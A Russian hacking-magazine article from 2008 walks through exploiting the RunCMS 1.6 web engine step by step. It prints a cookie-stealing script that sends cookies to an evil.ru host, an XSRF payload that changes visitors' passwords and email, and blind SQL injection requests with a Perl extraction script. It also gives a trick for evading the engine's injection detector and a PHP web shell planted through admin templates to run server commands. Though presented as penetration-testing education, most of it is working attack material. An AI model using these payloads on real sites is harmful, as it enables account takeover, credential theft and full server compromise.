Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 120, ДЕКАБРЬ 2008 г.

RunCMS. Учебник для ресерчера: независимый аудит крупного движка

sh2kerr




Сегодня я расскажу тебе о проверке на уязвимости одного довольно популярного web-движка для построения сайтов RunCMS. Мне удалось найти в нем кучу недокументированных багов. А все начиналось с банального аудита, который, на первый взгляд, отнюдь не сулил крупного урожая.

В статье я постараюсь не просто поведать про найденные баги, но и показать, как их можно реально эксплуатировать. Я покажу, как повысить свои права от постороннего пользователя до заливки шелла в админку и получения доступа к командной строке сервера. Найдя одну уязвимость, мы не остановимся, а тут же пытаемся найти другие способы получения доступа.

Такой подход обусловлен тем, что в реальных тестах на проникновение и анализ уязвимостей требуется не только «сломать» систему, но и обнаружить, в идеале, если не все, то большинство возможных уязвимостей, не ограничиваясь просто получением доступа к ней. Так можно произвести наиболее полную оценку защищенности системы.

Поверхностный взгляд. Первые уязвимости

Бегло осмотрев движок и попробовав основные проверки, я нашел первую багу - Linked XSS в URL-строке. Запрос выглядел так:

http://localhost/modules/news/index.php/"><script>alert('XSS')</script>

Что нам это может дать, надеюсь, понятно и вдаваться в подробности не будем. Естественно, что одной XSS yнам не достаточно, поэтому ищем дальше – переходим в раздел редактирования пользователя и пытаемся загрузить аватару, но не простую, а сюрпризом.

В аватаре будет записан javascript-код, который выполнится в браузере, если обратиться напрямую к залитой на сервер картинке. Так мы и поступим.
Подробнее о внедрении javascript-кода в изображения и обходе фильтров читай в моей статье (http://www.dsec.ru/about/articles/web_xss).

В результате, мы получим все ту же, опять-таки, XSS, для использования которой нам необходимо, чтобы пользователь перешел по ссылке. Правда, ссылка на этот раз будет не такая подозрительная, как в случае предыдущей XSS. Выглядеть она будет, как настоящая ссылка на картинку. Теперь мы можем отправить жертве ссылку, с заманчивым описанием – и при нажатии на которую его cookies будут у нас. Это все, конечно, интересно, но хочется чего-нибудь стоящего и независимого от пользователя, поэтому копаем дальше.

Первые трудности

Опытным путем было обнаружено, что в разделе добавления новостей по адресу modules/news/submit.php не фильтруется название новости - переменная «subject»
Таким образом, если занести вместо названия новости всеми любимую строку <script>alert("XSS")</script>, то она внедрится в страницу. Причем, не в какую-нибудь, а заглавную, так как на ней высвечиваются заголовки последних новостей. Это даст нам шанс перехватывать cookies или выполнить любой javascript-код от имени пользователя, зашедшего на главную страницу.

Но тут нас ждет небольшой сюрприз. Дело в том, что переменная, в которой хранится название новости, ограничена 62 символами, что очень сильно затрудняет внедрение практически любого полезного нам javascript-кода. К примеру, чтобы вставить ссылку на cookie-снифер, нам необходимо внедрить примерно следующий код:

<script>document.location="http://evil.ru/1.php?"+document.cookie</script>

Размер этого кода – 74 символа, что уже превышает рамки. Конечно, если постараться, то можно его немного сократить, но очень маловероятно, что его получится уместить в рамки 62 символов (а если и выйдет, то эксплуатация будет слишком заметна, так как при заходе на сайт пользователем процедура document.location перебрасывает его на наш сервер – весьма подозрительно, согласись). Итак, у нас появились две дополнительные задачи: как нам поместить javascript-код в ограниченное поле и как нам незаметно украсть cookie или выполнить любой запрос от имени пользователя.

Немного отвлечемся от этой уязвимости и посмотрим на страницу смены пароля, в профиле пользователя. Можно заметить, что скрипт не требует знания старого пароля, а значит, злоумышленник, получивший доступ к профилю пользователя, может сменить ему пароль, и ничего ему не помешает. На самом деле, это может сделать не только злоумышленник, но и сам пользователь, не осознавая этого – если ему подсунуть страницу, которая будет слать POST-запрос, меняющий пароль на сервер. Эта уязвимость называется Cross Site Request Forgery или XSRF.

Теперь вернемся к нашей прошлой уязвимости и объединим их. Попробуем встроить на сайт javascript-код помощи XSS, который, используя XSRF, будет менять пароль каждому зашедшему пользователю. Идея, конечно, великолепная, но как же мы будем обходить ограничение поля subject в 62 символа? Нам повезло, – движок имеет возможность заливки файлов на сервер. Как я писал выше, можно загружать картинки с javascript-кодом. На самом деле, мы можем заливать не только картинки, но и любые файлы с разрешенным движком расширением, и их содержимое не будет проверяться. Воспользуемся же этим, и загрузим на сервер файл с javascript-кодом, который, используя AJAX-технологию, посылает на сервер запрос, меняющий пароль текущему пользователю и делающий это незаметно для юзера. В нашем файле будет находиться следующий код:

var objHTTP = new ActiveXObject('MSXML2.XMLHTTP');
var id = document.cookie.substr(document.cookie.search("rc_sess") + 31);
objHTTP.open('POST',"http://192.168.40.26/runcms_1.6/edituser.php",false);
objHTTP.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
objHTTP.send("email=owned%40hackbox.com&upass=12345&vpass=12345&usecookie=0&uid=" + id + "&op=saveuser");

В двух словах: мы создаем ActiveX-компонент MSXML2.XMLHTTP, с помощью которого можно посылать произвольные запросы на сервер. В нашем случае отправляется запрос на страницу редактирования пользователя (192.168.40.26/runcms_1.6/edituser.php), который меняет пароль пользователя и его почтовый ящик на «12345» и owned@hackbox.com, соответственно. В случае если бы мы посылали запросы на сторонний сервер (к примеру, чтобы отсылать себе cookie пользователя), браузер выкидывал бы предупреждение, что небезопасный компонент пытается инициализировать соединение на сторонний сервер. Но мы отправляем запрос на тот же сервер, так что со стороны браузера все легально, и предупреждений не будет. Теперь сохраним этот скрипт в файл, назовем его zlo.zip, а затем, загрузим файл на сервер.

Первая часть работы сделана, осталось выяснить, куда сохраняется наш файл и как выполнить код находящийся в нем. По умолчанию все загруженные файлы помещаются в папку /modules/mydownloads/cache/files/. Теперь нужно каким-нибудь образом подгрузить файл, используя нашу XSS уязвимость в заголовке новостей. Для этого необходимо создать новость, у которой в поле subject будет следующий код, занимающий всего 58 символов:

<script src="../mydownloads/cache/files/zlo.zip"></script>

Этой строкой мы подгружаем на страницу залитый нами файл и интерпретируем его как javascript-код. Таким образом, мы обошли ограничение на длину строки. Этим способом можно пользоваться везде, где есть возможность закачать на сервер свой файл, в котором не проверяется содержимое на наличие html-тэгов. К примеру, для этого можно использовать изображения, но там свои нюансы, которые ты можешь изучить самостоятельно.

В итоге, после создания нашей новости с внедренным в заголовок кодом, у каждого посетителя, зашедшего на главную страницу, будет автоматически меняться пароль. При желании это можно заменить на любую другую функцию. Таким образом, наткнувшись на препятствие, не стоит отчаиваться - всегда надо искать альтернативные пути, тем более что зачастую получается еще лучше, чем рассчитывал.

Инъектим вслепую

Найденными уязвимостями мы не ограничимся и посмотрим, что же еще приготовил нам этот движок. Если обратиться к странице загрузки файлов, то можно заметить интересную картину. При обращении по ссылке:

http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1

нам предлагается скачать файл (что и следовало ожидать). Однако если мы запросим страницу

http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=1

то в результате получим, как и в предыдущем варианте, предложение скачать файл. Что самое любопытное, следующий запрос выдал нам ошибку.

http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=2

Все это говорит о том, мы обнаружили SQL-инъекцию, а точнее, Blind SQL инъекцию, ибо проблема заключается в том, что мы не видим результата выполнения запросов, или каких-либо вспомогательных данных. Мы можем только определять, возвратит ли наш запрос истину или ложь. К слову сказать, это не единственный скрипт, подверженный данной атаке. На досуге попробуй сам найти аналогичные скрипты в этом движке, уязвимые к Blind SQL инъекции.
Таким образом, используя уязвимость, мы можем получить любые данные, хранящиеся в базе данных, правда для этого придется постараться.
К примеру, чтобы узнать версию СУБД, надо посимвольно перебирать все возможные варианты посылкой подобных запросов:

http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+ascii(substring(version(),1,1)=33
http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+ascii(substring(version(),1,1)=34
http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+ascii(substring(version(),1,1)=35

В зависимости от того, какой запрос вернул истину, мы узнаем первую цифру версии СУБД. Аналогичным способом можно узнать любые другие данные, в том числе и хэш пароля администратора.

Обычно на этом люди останавливаются, и, получив хэш, пытаются его расшифровать. Мы же пойдем другим путем. Если у нас есть доступ к базе данных, то почему бы не попытаться достать оттуда данные сессий пользователей, которые хранятся в базе, а после чего – не прописать их у себя в cookies?

Балуемся с сессией

Cookies пользователя после URL-декодирования представляют собой строку вида:

a:3:{i:0;i:1;i:1;s:40:"aa805b98d787e312a6e87df88139f999ede09a7d";i:2;i:1227993983;}

Из этой информации нам необходимы три значения: первое – длинная строка в двойных кавычках, которая вероятнее всего представляет собой некую хэш-функцию от пароля; второе – это id пользователя, который хранится после второго по счету символа i в нашей строке (тут id=1), а также последнее значение – число 1227993983.
Если мы проделаем некоторые действия в системе, а потом опять обратимся к cookie, то мы увидим, что последнее число изменилось, а id пользователя и хэш остались неизменными.

a:3:{i:0;i:1;i:1;s:40:"aa805b98d787e312a6e87df88139f999ede09a7d";i:2;i:1227994551;}
a:3:{i:0;i:1;i:1;s:40:"aa805b98d787e312a6e87df88139f999ede09a7d";i:2;i:1227995080;}

Более того, очевидно, что последнее число линейно зависит от времени, а хэш является константой, сгенерированной для пользователя единожды и хранящейся в базе. Это означает, что нам достаточно один раз перехватить cookies и потом мы сможем заходить неограниченное число раз, пока пользователь не сменит пароль при условии, что мы будем знать, как генерируется третье значение, зависящее от времени. Нам необходимо получить эти три значения (id пользователя, хэш и функцию от времени) из базы, чтобы мы могли залогиниться пользователем, даже не зная его пароля. Значения хранятся в таблице runcms.runcms_session. Хэш хранится в переменной hash, а id пользователя, соответственно, в переменной user_id. А вот что касается последней цифры, то она высчитывается как значение поля time + 2678400 (в поле time хранится время последнего обращения пользователя на сайт).

Теперь, когда мы знаем, где находятся нужные нам переменные, достать их уже дело техники. Можно использовать озвученную выше уязвимость типа BLIND SQL Injection. Для автоматизации действий был написан скрипт (за основу взят скрипт r57sql_ocb.pl, спасибо его авторам), который посимвольно перебирает все возможные значения необходимых нам данных, таких как hash, user_id и time. Ниже приведена основная часть скрипта, где происходит посылка запроса и обработка ответа (полную версию ищи на диске).

$http_query = $path." AND ascii(upper(substring((SELECT CONCAT(uname,CHAR(58),hash,CHAR(58),time) FROM runcms.runcms_session WHERE uid=".$user_id."),".$s_num.",1)))".$ccheck;
# отправляем запрос

## print "rn $http_query rn";
$mcb_reguest = LWP::UserAgent->new() or die;
$res = $mcb_reguest->post($http_query);
# получаем ответ сервера
@results = $res->content;
foreach $result(@results)
{
# ищем в ответе скрипта строку, совпадающую с нашим условием
if ($result =~ /$string/) { return 1; }
}
return 0;
}

В результате запуска нашего скрипта где-то за 2-5 минут мы получаем хэш и время, которое необходимо подставить себе в cookie. Единственный нюанс: если пользователь за это время будет вести активную деятельность, то у него изменится значение time. В этом случае можно просто перебрать ближайшие значения в пределах 3 минут (что не составляет труда) или заново запустить скрипт.

Обходим системы обнаружения атак

Итак, у нас получился отличный эксплоит, и мы уже почти у цели, но тут есть один неприятный момент. Система RunCMS имеет встроенный модуль обнаружения атак, который записывает в специальный лог-файл попытки SQL-инъекций. По-хорошему, нам требуется обойти данную систему, чтобы максимально скрытно провести атаку. Логи можно посмотреть в файле

htdocsruncms_1.6cachesqlinject.txt

Посмотрим, что же происходит, и почему наши запросы попадают в логи. Скрипт добавляет следующий код к запросу в СУБД и посылает его на сервер:

AND ascii(upper(substring((SELECT CONCAT(uname,CHAR(58),hash,CHAR(58),time) FROM runcms.runcms_session WHERE uid=".$user_id."),".$s_num.",1)))

Опытным путем выяснилось: основная сигнатура, по которой определяется, что происходит инъекция, – это ключевое слово «FROM» после ключевого слова «SELECT» вне зависимости от того, какие ключевые слова есть между ними. Также было выяснено, что движок распознает «опасные» ключевые слова, если они в тексте отделены пробелами. Напрашивается идея составить SQL-запрос так, чтобы в нем не было пробелов. Такая возможность есть. Не буду мучить тебя выкладками, просто скажу, что вместо пробелов, чтобы отделять переменные от команд, можно использовать скобки. Так что, итоговый запрос будет выглядеть так:

AND ascii(substring((SELECT(pass)FROM(runcms.runcms_users)WHERE uid=".$user_id."),".$s_num.",1))".$ccheck;

В этом запросе я просто вынимаю хэш пароля администратора. Мы можем теперь слегка модифицировать наш скрипт, и он будет работать незаметно для встроенной системы обнаружения атак в движке RunCMS. Вот пример его работы:

e:oracleproduct10.1.0db_1perl5.6.1binMSWin32-x86>perl.exe fuck.pl http:/
/192.168.40.26/runcms_1.6/modules/mydownloads/visit.php?lid=1 1

****** RunCMS 1.6 Blind SQLInjection + IDS Evasion by Sh2kerr (DSecRG) ******
*****************************************************************************
:) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :)
:) :) :) :) :) :) :) :) :) :) :) :) :)

*****************************************************************************
Admin Password Hash: d4e8e6deaa7b1f8381e09e3e6b83e36f0b681c5c
****************************************************************************

Последнее кольцо обороны

Вот теперь мы научились получать права администратора в системе RunCMS, причем как минимум двумя совершенно разными способами. Что же делать дальше?
Ответ очевиден - пытаться получить шелл на сервере, пользуясь доступной нам панелью администрации. Как оказалось, это совсем несложно. Админка позволяет модифицировать некоторые шаблоны, написанные на PHP, которые инклудятся к страницам движка. К таким шаблонам, к примеру, относятся:

page: /modules/mylinks/admin/index.php?op=myLinksConfigAdmin
parameter name="disclaimer"
page: /modules/sections/admin/index.php?op=secconfig
parameter name='intro'
page: /modules/newbb_plus/admin/forum_config.php
parameter name="disclaimer"

Пройдем по ссылке

http://192.168.40.26/runcms_1.6/modules/mylinks/admin/index.php?op=myLinksConfigAdmin

В открывшейся странице найдем поле disclaimer, впишем в него следующую строку:

<?echo system($_GET[command]);?>

После чего, перейдем к странице шаблона, который мы изменили, и передадим ей команду ipconfig на выполнение:

http://192.168.40.26/runcms_1.6/modules/mylinks/cache/disclaimer.php?command=ipconfig

Результат работы можно видеть на скриншоте. Вставив в любую из этих страниц-шаблонов PHP-шелл, мы получим доступ к командной строке сервера, ну а дальше все зависит от твоей фантазии.

Приглашаем в команду

Итак, сегодня мы рассмотрели один достаточно популярный движок и проверили его на наличие типовых уязвимостей. На мой взгляд, получилось довольно интересно. Найденные уязвимости удачно пересекались между собой, что привело нас к получению доступа к командной строке сервера.

Анализ данного движка и эксплоиты к нему (так же, как ко многим другим исследованным системам) можно найти на сайте исследовательской лаборатории компании Digital Security (Dsec Reaserch Group, dsecrg.ru). Мы всегда рады пригласить талантливую молодежь в нашу команду, кто заинтересовался.

Содержание
ttfb: 7.5018405914307 ms